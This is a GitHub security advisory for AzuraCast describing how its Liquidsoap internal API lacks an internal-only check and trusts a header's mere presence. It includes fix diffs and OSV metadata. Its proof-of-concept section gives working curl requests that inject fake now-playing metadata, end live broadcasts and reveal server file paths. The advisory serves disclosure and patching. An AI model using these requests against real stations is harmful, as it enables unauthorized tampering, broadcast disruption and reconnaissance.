GHSA-4FM3-GGG2-C6QX
Vulnerability from github – Published: 2026-05-04 21:18 – Updated: 2026-05-04 21:18Summary
The /api/internal/{station_id}/liquidsoap/{action} endpoint is accessible from the public web interface because it lacks the RequireInternalConnection middleware that protects other internal endpoints (/sftp-auth, /sftp-event). Combined with a logic flaw where the $asAutoDj flag is set based on the presence of the X-Liquidsoap-Api-Key header rather than its validated value, any user with the basic View station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.
Details
Issue 1: Missing RequireInternalConnection middleware
In backend/config/routes/api_internal.php, the liquidsoap route group (lines 17-21) lacks the RequireInternalConnection middleware:
// Lines 17-21 — NO RequireInternalConnection
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap');
Compare with sftp endpoints that correctly apply it:
// Lines 32-34 — HAS RequireInternalConnection
$group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class)
->setName('api:internal:sftp-auth')
->add(Middleware\RequireInternalConnection::class);
The nginx config (util/docker/web/nginx/azuracast.conf.tmpl) only sets the IS_INTERNAL FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.
Issue 2: $asAutoDj derived from header presence, not validated value
In backend/src/Controller/Api/Internal/LiquidsoapAction.php:
// Line 34 — checks header PRESENCE, not value
$asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
// Lines 38-44 — key value only checked when ACL FAILS
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
}
When a user authenticates via session/API key and has StationPermissions::View, the ACL check passes and the adapter API key is never validated. But $asAutoDj is already true from line 34 because the header is present (with any arbitrary value).
Affected commands:
FeedbackCommand(backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36): Guardif (!$asAutoDj) return false;bypassed — creates SongHistory records and forces NowPlaying cache updatesDjOffCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24): Guard bypassed — calls$this->streamerRepo->onDisconnect($station)which ends all active broadcasts and sets$station->is_streamer_live = falseDjOnCommand(backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31): Guard bypassed — calls$this->streamerRepo->onConnect($station, $user)with attacker-controlled usernameCopyCommand(backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18): No$asAutoDjguard at all — returns absolute filesystem paths via$mediaFs->getLocalPath($uri)
PoC
Prerequisites: A user account with StationPermissions::View on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.
1. Inject arbitrary now-playing metadata (FeedbackCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything' \
-H 'Content-Type: application/json' \
-d '{"artist": "INJECTED", "title": "Fake Song Title"}'
Expected: Should reject — user does not have the adapter API key.
Actual: Returns true. The injected artist/title appears in /api/nowplaying/1 for all listeners.
2. Disrupt live broadcast (DjOffCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'X-Liquidsoap-Api-Key: anything'
Expected: Should reject.
Actual: Returns true. All active broadcast records for the station are terminated (timestampEnd set), is_streamer_live set to false, and current_streamer cleared.
3. Disclose filesystem paths (CopyCommand):
curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \
-H 'X-API-Key: <view-user-api-key>' \
-H 'Content-Type: application/json' \
-d '{"uri": "test.mp3"}'
Expected: Should reject — this is an internal-only endpoint.
Actual: Returns {"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false} — disclosing the absolute filesystem path of the station's media storage.
Impact
Any user with the basic StationPermissions::View permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:
-
Inject arbitrary now-playing metadata visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.
-
Disrupt live broadcasts by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.
-
Fake DJ connections with arbitrary usernames via the
djoncommand, polluting streamer logs and potentially interfering with DJ scheduling. -
Disclose absolute filesystem paths of the station's media storage directory via the
cpcommand (no$asAutoDjguard required), which aids further attacks against the server.
Recommended Fix
Fix 1: Add RequireInternalConnection middleware to the liquidsoap route group.
In backend/config/routes/api_internal.php, add the middleware to the station group:
$group->group(
'/{station_id}',
function (RouteCollectorProxy $group) {
$group->map(
['GET', 'POST'],
'/liquidsoap/{action}',
Controller\Api\Internal\LiquidsoapAction::class
)->setName('api:internal:liquidsoap')
+ ->add(Middleware\RequireInternalConnection::class);
// Icecast internal auth functions
$group->map(
['GET', 'POST'],
'/listener-auth[/{api_auth}]',
Controller\Api\Internal\ListenerAuthAction::class
)->setName('api:internal:listener-auth');
}
)->add(Middleware\GetStation::class);
Fix 2: Validate the API key value before setting $asAutoDj.
In backend/src/Controller/Api/Internal/LiquidsoapAction.php, move $asAutoDj assignment after key validation:
- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
+ $asAutoDj = false;
try {
$acl = $request->getAcl();
if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
$authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
if (!$station->validateAdapterApiKey($authKey)) {
throw new RuntimeException('Invalid API key.');
}
+ $asAutoDj = true;
+ } else {
+ // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations
+ $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
+ $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);
}
Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that $asAutoDj is only true when the adapter API key is actually valid, regardless of how authentication was performed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.5"
},
"package": {
"ecosystem": "Packagist",
"name": "azuracast/azuracast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T21:18:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands \u2014 injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.\n\n## Details\n\n**Issue 1: Missing RequireInternalConnection middleware**\n\nIn `backend/config/routes/api_internal.php`, the liquidsoap route group (lines 17-21) lacks the `RequireInternalConnection` middleware:\n\n```php\n// Lines 17-21 \u2014 NO RequireInternalConnection\n$group-\u003emap(\n [\u0027GET\u0027, \u0027POST\u0027],\n \u0027/liquidsoap/{action}\u0027,\n Controller\\Api\\Internal\\LiquidsoapAction::class\n)-\u003esetName(\u0027api:internal:liquidsoap\u0027);\n```\n\nCompare with sftp endpoints that correctly apply it:\n\n```php\n// Lines 32-34 \u2014 HAS RequireInternalConnection\n$group-\u003epost(\u0027/sftp-auth\u0027, Controller\\Api\\Internal\\SftpAuthAction::class)\n -\u003esetName(\u0027api:internal:sftp-auth\u0027)\n -\u003eadd(Middleware\\RequireInternalConnection::class);\n```\n\nThe nginx config (`util/docker/web/nginx/azuracast.conf.tmpl`) only sets the `IS_INTERNAL` FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.\n\n**Issue 2: `$asAutoDj` derived from header presence, not validated value**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`:\n\n```php\n// Line 34 \u2014 checks header PRESENCE, not value\n$asAutoDj = $request-\u003ehasHeader(\u0027X-Liquidsoap-Api-Key\u0027);\n\n// Lines 38-44 \u2014 key value only checked when ACL FAILS\n$acl = $request-\u003egetAcl();\nif (!$acl-\u003eisAllowed(StationPermissions::View, $station-\u003eid)) {\n $authKey = $request-\u003egetHeaderLine(\u0027X-Liquidsoap-Api-Key\u0027);\n if (!$station-\u003evalidateAdapterApiKey($authKey)) {\n throw new RuntimeException(\u0027Invalid API key.\u0027);\n }\n}\n```\n\nWhen a user authenticates via session/API key and has `StationPermissions::View`, the ACL check passes and the adapter API key is never validated. But `$asAutoDj` is already `true` from line 34 because the header is present (with any arbitrary value).\n\n**Affected commands:**\n\n- `FeedbackCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36`): Guard `if (!$asAutoDj) return false;` bypassed \u2014 creates SongHistory records and forces NowPlaying cache updates\n- `DjOffCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24`): Guard bypassed \u2014 calls `$this-\u003estreamerRepo-\u003eonDisconnect($station)` which ends all active broadcasts and sets `$station-\u003eis_streamer_live = false`\n- `DjOnCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31`): Guard bypassed \u2014 calls `$this-\u003estreamerRepo-\u003eonConnect($station, $user)` with attacker-controlled username\n- `CopyCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18`): No `$asAutoDj` guard at all \u2014 returns absolute filesystem paths via `$mediaFs-\u003egetLocalPath($uri)`\n\n## PoC\n\n**Prerequisites:** A user account with `StationPermissions::View` on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.\n\n**1. Inject arbitrary now-playing metadata (FeedbackCommand):**\n\n```bash\ncurl -X POST \u0027https://target/api/internal/1/liquidsoap/feedback\u0027 \\\n -H \u0027X-API-Key: \u003cview-user-api-key\u003e\u0027 \\\n -H \u0027X-Liquidsoap-Api-Key: anything\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"artist\": \"INJECTED\", \"title\": \"Fake Song Title\"}\u0027\n```\n\nExpected: Should reject \u2014 user does not have the adapter API key.\nActual: Returns `true`. The injected artist/title appears in `/api/nowplaying/1` for all listeners.\n\n**2. Disrupt live broadcast (DjOffCommand):**\n\n```bash\ncurl -X POST \u0027https://target/api/internal/1/liquidsoap/djoff\u0027 \\\n -H \u0027X-API-Key: \u003cview-user-api-key\u003e\u0027 \\\n -H \u0027X-Liquidsoap-Api-Key: anything\u0027\n```\n\nExpected: Should reject.\nActual: Returns `true`. All active broadcast records for the station are terminated (`timestampEnd` set), `is_streamer_live` set to `false`, and `current_streamer` cleared.\n\n**3. Disclose filesystem paths (CopyCommand):**\n\n```bash\ncurl -X POST \u0027https://target/api/internal/1/liquidsoap/cp\u0027 \\\n -H \u0027X-API-Key: \u003cview-user-api-key\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"uri\": \"test.mp3\"}\u0027\n```\n\nExpected: Should reject \u2014 this is an internal-only endpoint.\nActual: Returns `{\"uri\":\"/var/azuracast/stations/1/media/test.mp3\",\"isTemp\":false}` \u2014 disclosing the absolute filesystem path of the station\u0027s media storage.\n\n## Impact\n\nAny user with the basic `StationPermissions::View` permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:\n\n1. **Inject arbitrary now-playing metadata** visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.\n\n2. **Disrupt live broadcasts** by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.\n\n3. **Fake DJ connections** with arbitrary usernames via the `djon` command, polluting streamer logs and potentially interfering with DJ scheduling.\n\n4. **Disclose absolute filesystem paths** of the station\u0027s media storage directory via the `cp` command (no `$asAutoDj` guard required), which aids further attacks against the server.\n\n## Recommended Fix\n\n**Fix 1: Add `RequireInternalConnection` middleware to the liquidsoap route group.**\n\nIn `backend/config/routes/api_internal.php`, add the middleware to the station group:\n\n```php\n$group-\u003egroup(\n \u0027/{station_id}\u0027,\n function (RouteCollectorProxy $group) {\n $group-\u003emap(\n [\u0027GET\u0027, \u0027POST\u0027],\n \u0027/liquidsoap/{action}\u0027,\n Controller\\Api\\Internal\\LiquidsoapAction::class\n )-\u003esetName(\u0027api:internal:liquidsoap\u0027)\n+ -\u003eadd(Middleware\\RequireInternalConnection::class);\n\n // Icecast internal auth functions\n $group-\u003emap(\n [\u0027GET\u0027, \u0027POST\u0027],\n \u0027/listener-auth[/{api_auth}]\u0027,\n Controller\\Api\\Internal\\ListenerAuthAction::class\n )-\u003esetName(\u0027api:internal:listener-auth\u0027);\n }\n)-\u003eadd(Middleware\\GetStation::class);\n```\n\n**Fix 2: Validate the API key value before setting `$asAutoDj`.**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`, move `$asAutoDj` assignment after key validation:\n\n```php\n- $asAutoDj = $request-\u003ehasHeader(\u0027X-Liquidsoap-Api-Key\u0027);\n+ $asAutoDj = false;\n\n try {\n $acl = $request-\u003egetAcl();\n if (!$acl-\u003eisAllowed(StationPermissions::View, $station-\u003eid)) {\n $authKey = $request-\u003egetHeaderLine(\u0027X-Liquidsoap-Api-Key\u0027);\n if (!$station-\u003evalidateAdapterApiKey($authKey)) {\n throw new RuntimeException(\u0027Invalid API key.\u0027);\n }\n+ $asAutoDj = true;\n+ } else {\n+ // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations\n+ $authKey = $request-\u003egetHeaderLine(\u0027X-Liquidsoap-Api-Key\u0027);\n+ $asAutoDj = !empty($authKey) \u0026\u0026 $station-\u003evalidateAdapterApiKey($authKey);\n }\n```\n\nBoth fixes should be applied. Fix 1 is the primary defense (defense in depth \u2014 this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that `$asAutoDj` is only `true` when the adapter API key is actually valid, regardless of how authentication was performed.",
"id": "GHSA-4fm3-ggg2-c6qx",
"modified": "2026-05-04T21:18:23Z",
"published": "2026-05-04T21:18:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-4fm3-ggg2-c6qx"
},
{
"type": "WEB",
"url": "https://github.com/AzuraCast/AzuraCast/commit/13fa7a71435629147b351d3ee151b8de6acd5c8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/AzuraCast/AzuraCast"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "AzuraCast\u0027s Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.